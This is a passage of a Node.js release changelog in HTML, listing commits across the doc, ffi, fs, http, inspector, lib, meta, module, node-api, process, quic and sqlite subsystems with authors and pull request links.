<li>[<a href="https://github.com/nodejs/node/commit/1cd3694a5f"><code>1cd3694a5f</code></a>] - <strong>doc</strong>: clarify dns.lookup() callback signature when all is true (eungi) <a href="https://github.com/nodejs/node/pull/62800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62800/hovercard">#62800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40a4337d65"><code>40a4337d65</code></a>] - <strong>doc</strong>: add experimental modules lifetime policy (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62753" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62753/hovercard">#62753</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46f48222f8"><code>46f48222f8</code></a>] - <strong>doc</strong>: clarify process._debugProcess() in Permission Model (Fahad Khan) <a href="https://github.com/nodejs/node/pull/62537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62537/hovercard">#62537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6eb9917497"><code>6eb9917497</code></a>] - <strong>doc</strong>: fix typo in devcontainer guide (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62687/hovercard">#62687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3826c5ed7e"><code>3826c5ed7e</code></a>] - <strong>doc</strong>: clarify Backport-PR-URL metadata added automatically (Mike McCready) <a href="https://github.com/nodejs/node/pull/62668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62668/hovercard">#62668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d7e0dbbd8"><code>5d7e0dbbd8</code></a>] - <strong>doc</strong>: update WPT test runner README.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62680/hovercard">#62680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e9d76b2a75"><code>e9d76b2a75</code></a>] - <strong>doc</strong>: fix spelling in release announcement guidance (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62663/hovercard">#62663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ae41cebb0"><code>1ae41cebb0</code></a>] - <strong>doc</strong>: note GCC &gt;= 14 requirement for native riscv64 builds (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62607/hovercard">#62607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b29be6a28"><code>9b29be6a28</code></a>] - <strong>doc</strong>: note non-monotonic clock in crypto.randomUUIDv7 (nabeel378) <a href="https://github.com/nodejs/node/pull/62600" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62600/hovercard">#62600</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ae59553f6"><code>5ae59553f6</code></a>] - <strong>doc</strong>: update bug bounty program (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62590/hovercard">#62590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce3f4c85dd"><code>ce3f4c85dd</code></a>] - <strong>doc</strong>: document TransformStream transformer.cancel option (Tom Pereira) <a href="https://github.com/nodejs/node/pull/62566" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62566/hovercard">#62566</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08a9ba73e4"><code>08a9ba73e4</code></a>] - <strong>doc</strong>: mention test runner retry attemp is zero based (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32f2169ede"><code>32f2169ede</code></a>] - <strong>doc,src,test</strong>: fix dead inspector help URL (semimikoh) <a href="https://github.com/nodejs/node/pull/62745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62745/hovercard">#62745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/870c1cd3f4"><code>870c1cd3f4</code></a>] - <strong>doc,test</strong>: mem protection must be observed in ffi (Bryan English) <a href="https://github.com/nodejs/node/pull/62818" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62818/hovercard">#62818</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d5cf171dc"><code>3d5cf171dc</code></a>] - <strong>esm</strong>: add <code>ERR_REQUIRE_ESM_RACE_CONDITION</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62462" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62462/hovercard">#62462</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2004d8d6db"><code>2004d8d6db</code></a>] - <strong>ffi</strong>: make <code>FFIFunctionInfo</code> a <code>BaseObject</code> subclass (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63071/hovercard">#63071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53eb7abeba"><code>53eb7abeba</code></a>] - <strong>ffi</strong>: prevent premature GC of DynamicLibrary (semimikoh) <a href="https://github.com/nodejs/node/pull/63024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63024/hovercard">#63024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58dc92f502"><code>58dc92f502</code></a>] - <strong>ffi</strong>: support Symbol.dispose on DynamicLibrary (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62925/hovercard">#62925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/528f8b2bae"><code>528f8b2bae</code></a>] - <strong>ffi</strong>: add shared-buffer fast path for numeric and pointer signatures (Bryan English) <a href="https://github.com/nodejs/node/pull/62918" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62918/hovercard">#62918</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42ac8b9ae7"><code>42ac8b9ae7</code></a>] - <strong>fs</strong>: add followSymlinks option to glob (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62695" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62695/hovercard">#62695</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/873c2bca70"><code>873c2bca70</code></a>] - <strong>fs</strong>: restore fs patchability in ESM loader (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62835" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62835/hovercard">#62835</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/349c7502c3"><code>349c7502c3</code></a>] - <strong>fs</strong>: validate position argument before length === 0 early return (Edy Silva) <a href="https://github.com/nodejs/node/pull/62674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62674/hovercard">#62674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06defaa2ea"><code>06defaa2ea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to fs.stat() (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db66a963bf"><code>db66a963bf</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose frsize field in statfs (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3191d2936a"><code>3191d2936a</code></a>] - <strong>http</strong>: emit 'drain' on OutgoingMessage only after buffers drain (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62936" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62936/hovercard">#62936</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87adb3472b"><code>87adb3472b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden ClientRequest options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0b79633f6"><code>e0b79633f6</code></a>] - <strong>http</strong>: fix leaked error listener on sync HTTP req create + destroy (Tim Perry) <a href="https://github.com/nodejs/node/pull/62872" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62872/hovercard">#62872</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70c5491f53"><code>70c5491f53</code></a>] - <strong>http</strong>: fix no_proxy leading-dot suffix matching (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62333" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62333/hovercard">#62333</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60a585e68a"><code>60a585e68a</code></a>] - <strong>http</strong>: cleanup pipeline queue (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62534" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62534/hovercard">#62534</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9047ec12ce"><code>9047ec12ce</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add req.signal to IncomingMessage (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01eed5901b"><code>01eed5901b</code></a>] - <strong>http2</strong>: expose writable stream state on compat response (T) <a href="https://github.com/nodejs/node/pull/63003" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63003/hovercard">#63003</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19b7adf3ba"><code>19b7adf3ba</code></a>] - <strong>inspector</strong>: fix absolute URLs in network http (bugyaluwang) <a href="https://github.com/nodejs/node/pull/62955" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62955/hovercard">#62955</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d10823fbb"><code>4d10823fbb</code></a>] - <strong>inspector</strong>: coerce key and value to string in webstorage events (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62616" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62616/hovercard">#62616</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3ac66cc5"><code>9a3ac66cc5</code></a>] - <strong>inspector</strong>: return errors when CDP protocol event emission fails (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62162" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62162/hovercard">#62162</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c89501c6e5"><code>c89501c6e5</code></a>] - <strong>inspector</strong>: auto collect webstorage data (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62145" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62145/hovercard">#62145</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef08c5016a"><code>ef08c5016a</code></a>] - <strong>lib</strong>: refactor internal webidl converters (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62979" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62979/hovercard">#62979</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0744c6a99"><code>d0744c6a99</code></a>] - <strong>lib</strong>: add Temporal to frozen intrinsics (René) <a href="https://github.com/nodejs/node/pull/63029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63029/hovercard">#63029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d81cb17b3"><code>6d81cb17b3</code></a>] - <strong>lib</strong>: avoid quadratic shift() in startup snapshot callback (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62914" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62914/hovercard">#62914</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3491f73051"><code>3491f73051</code></a>] - <strong>lib</strong>: fix FLOAT_32 and FLOAT_64 type constants in ffi (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62892" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62892/hovercard">#62892</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4ca303b36"><code>c4ca303b36</code></a>] - <strong>lib</strong>: harden kKeyOps lookup with null prototype (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62877/hovercard">#62877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e612fe070"><code>2e612fe070</code></a>] - <strong>lib</strong>: short-circuit WebIDL BufferSource SAB check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62833/hovercard">#62833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e850ee9c69"><code>e850ee9c69</code></a>] - <strong>lib</strong>: add new methods and error codes (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62762" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62762/hovercard">#62762</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e21b873589"><code>e21b873589</code></a>] - <strong>lib</strong>: use js-only implementation of <code>isDataView()</code> (René) <a href="https://github.com/nodejs/node/pull/62780" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62780/hovercard">#62780</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f454d1719d"><code>f454d1719d</code></a>] - <strong>lib</strong>: fix lint in internal/webstreams/util.js (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62806/hovercard">#62806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbd8ededba"><code>fbd8ededba</code></a>] - <strong>lib</strong>: fix sequence argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/62179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62179/hovercard">#62179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16860e6abd"><code>16860e6abd</code></a>] - <strong>lib</strong>: improve Web Cryptography key validation ordering (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62749" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62749/hovercard">#62749</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba3f3e1753"><code>ba3f3e1753</code></a>] - <strong>lib</strong>: reject SharedArrayBuffer in web APIs per spec (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62632/hovercard">#62632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d065e996bb"><code>d065e996bb</code></a>] - <strong>lib</strong>: defer AbortSignal.any() following (sangwook) <a href="https://github.com/nodejs/node/pull/62367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62367/hovercard">#62367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a711f4b0c"><code>2a711f4b0c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>lib,src,test,doc</strong>: add node:ffi module (Colin Ihrig) <a href="https://github.com/nodejs/node/pull/62072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62072/hovercard">#62072</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d578343582"><code>d578343582</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.1 to 4.35.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63074/hovercard">#63074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b4b90d544"><code>1b4b90d544</code></a>] - <strong>meta</strong>: bump Mozilla-Actions/sccache-action from 0.0.9 to 0.0.10 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63073/hovercard">#63073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1477349e47"><code>1477349e47</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 7.0.0 to 7.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63072/hovercard">#63072</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecb7de271a"><code>ecb7de271a</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.10.3 to 31.10.5 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62846" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62846/hovercard">#62846</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fb91408312"><code>fb91408312</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 7.0.0 to 7.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62850" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62850/hovercard">#62850</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7eb9a6be68"><code>7eb9a6be68</code></a>] - <strong>meta</strong>: add automation policy (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62871/hovercard">#62871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f053a4cb8"><code>6f053a4cb8</code></a>] - <strong>meta</strong>: update CODEOWNERS for FFI (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62853" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62853/hovercard">#62853</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88fe50a725"><code>88fe50a725</code></a>] - <strong>meta</strong>: move VoltrexKeyva to emeritus (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62895/hovercard">#62895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42e770bdd0"><code>42e770bdd0</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 8.1.0 to 8.1.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62845" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62845/hovercard">#62845</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/952d005233"><code>952d005233</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.16.1 to 2.19.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62844" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62844/hovercard">#62844</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1bd19d9768"><code>1bd19d9768</code></a>] - <strong>meta</strong>: bump actions/github-script from 8.0.0 to 9.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62843" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62843/hovercard">#62843</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/386244a7dd"><code>386244a7dd</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.3.0 to 6.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62842/hovercard">#62842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16b2c41f70"><code>16b2c41f70</code></a>] - <strong>meta</strong>: broaden stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62658" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62658/hovercard">#62658</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41e7a4ba82"><code>41e7a4ba82</code></a>] - <strong>meta</strong>: pass release version to release worker (flakey5) <a href="https://github.com/nodejs/node/pull/62777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62777/hovercard">#62777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/632821db85"><code>632821db85</code></a>] - <strong>meta</strong>: add QUIC to CODEOWNERS (Tim Perry) <a href="https://github.com/nodejs/node/pull/62652" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62652/hovercard">#62652</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a7ad93ed8"><code>4a7ad93ed8</code></a>] - <strong>meta</strong>: move Michael to emeritus (Michael Dawson) <a href="https://github.com/nodejs/node/pull/62536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62536/hovercard">#62536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44d5a33efb"><code>44d5a33efb</code></a>] - <strong>meta</strong>: populate apt list for slim runner in update-openssl workflow (René) <a href="https://github.com/nodejs/node/pull/62628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62628/hovercard">#62628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d874596aa3"><code>d874596aa3</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.9.1 to 31.10.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62551" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62551/hovercard">#62551</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1631b27e2b"><code>1631b27e2b</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.15.0 to 2.16.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62550/hovercard">#62550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4de376894d"><code>4de376894d</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 8.0.0 to 8.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62549" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62549/hovercard">#62549</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39da4d7bd6"><code>39da4d7bd6</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62548" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62548/hovercard">#62548</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62e3aa55ad"><code>62e3aa55ad</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.4 to 4.35.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62547/hovercard">#62547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83986de8a2"><code>83986de8a2</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 5.5.2 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62545/hovercard">#62545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/18e56861dc"><code>18e56861dc</code></a>] - <strong>meta</strong>: bump cachix/cachix-action from 16 to 17 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62544" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62544/hovercard">#62544</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4e49d567a"><code>d4e49d567a</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.3 to 5.0.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62543/hovercard">#62543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c5a914af4"><code>2c5a914af4</code></a>] - <strong>meta</strong>: require DCO signoff in commit message guidelines (James M Snell) <a href="https://github.com/nodejs/node/pull/62510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62510/hovercard">#62510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f21039ce59"><code>f21039ce59</code></a>] - <strong>meta</strong>: expand memory leak DoS criteria to all DoS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62505/hovercard">#62505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/824ac6b5bf"><code>824ac6b5bf</code></a>] - <strong>module</strong>: exclude <code>node:ffi</code> from <code>builtinModules</code> when not enabled (Jordan Harband) <a href="https://github.com/nodejs/node/pull/63158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63158/hovercard">#63158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb6293ab7c"><code>bb6293ab7c</code></a>] - <strong>module</strong>: remove duplicated checks from <code>_resolveFilename</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62729/hovercard">#62729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34ec8c9f5c"><code>34ec8c9f5c</code></a>] - <strong>module,win</strong>: fix long subpath import (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62101/hovercard">#62101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de46e68918"><code>de46e68918</code></a>] - <strong>node-api</strong>: update libuv ABI stability note (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62789" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62789/hovercard">#62789</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78c7d77bbf"><code>78c7d77bbf</code></a>] - <strong>node-api</strong>: add napi_create_external_sharedarraybuffer (Ben Noordhuis) <a href="https://github.com/nodejs/node/pull/62623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62623/hovercard">#62623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0ccf94f61"><code>a0ccf94f61</code></a>] - <strong>node-api</strong>: execute tsfn finalizer after queue drains when aborted (Kevin Eady) <a href="https://github.com/nodejs/node/pull/61956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61956/hovercard">#61956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab66de8eaa"><code>ab66de8eaa</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>process</strong>: throw on execve(2) failure instead of aborting (Bryan English) <a href="https://github.com/nodejs/node/pull/62878" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62878/hovercard">#62878</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20151be8cb"><code>20151be8cb</code></a>] - <strong>process</strong>: handle rejections only when needed (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62919" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62919/hovercard">#62919</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b24a815a2"><code>9b24a815a2</code></a>] - <strong>quic</strong>: add QuicEndpoint.listening &amp; QuicStream.destroy() and tests (Tim Perry) <a href="https://github.com/nodejs/node/pull/62648" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62648/hovercard">#62648</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/761a96740c"><code>761a96740c</code></a>] - <strong>quic</strong>: fixup token verification to handle zero expiration (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ade02ac85"><code>4ade02ac85</code></a>] - <strong>quic</strong>: support multiple ALPN negotiation (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2e2e648e4"><code>b2e2e648e4</code></a>] - <strong>quic</strong>: apply multiple TLS context improvements and SNI support (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56b941af4a"><code>56b941af4a</code></a>] - <strong>quic</strong>: implement rapidhash for hashing improvements (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cda4300b8"><code>7cda4300b8</code></a>] - <strong>quic</strong>: use arena allocation for packets (James M Snell) <a href="https://github.com/nodejs/node/pull/62589" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62589/hovercard">#62589</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e8fa2f1bd"><code>1e8fa2f1bd</code></a>] - <strong>sqlite</strong>: use OneByte for ASCII text and internalize col names (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61954" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61954/hovercard">#61954</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3af44ee508"><code>3af44ee508</code></a>] - <strong>sqlite</strong>: add serialize() and deserialize() (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62579" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62579/hovercard">#62579</a></li>
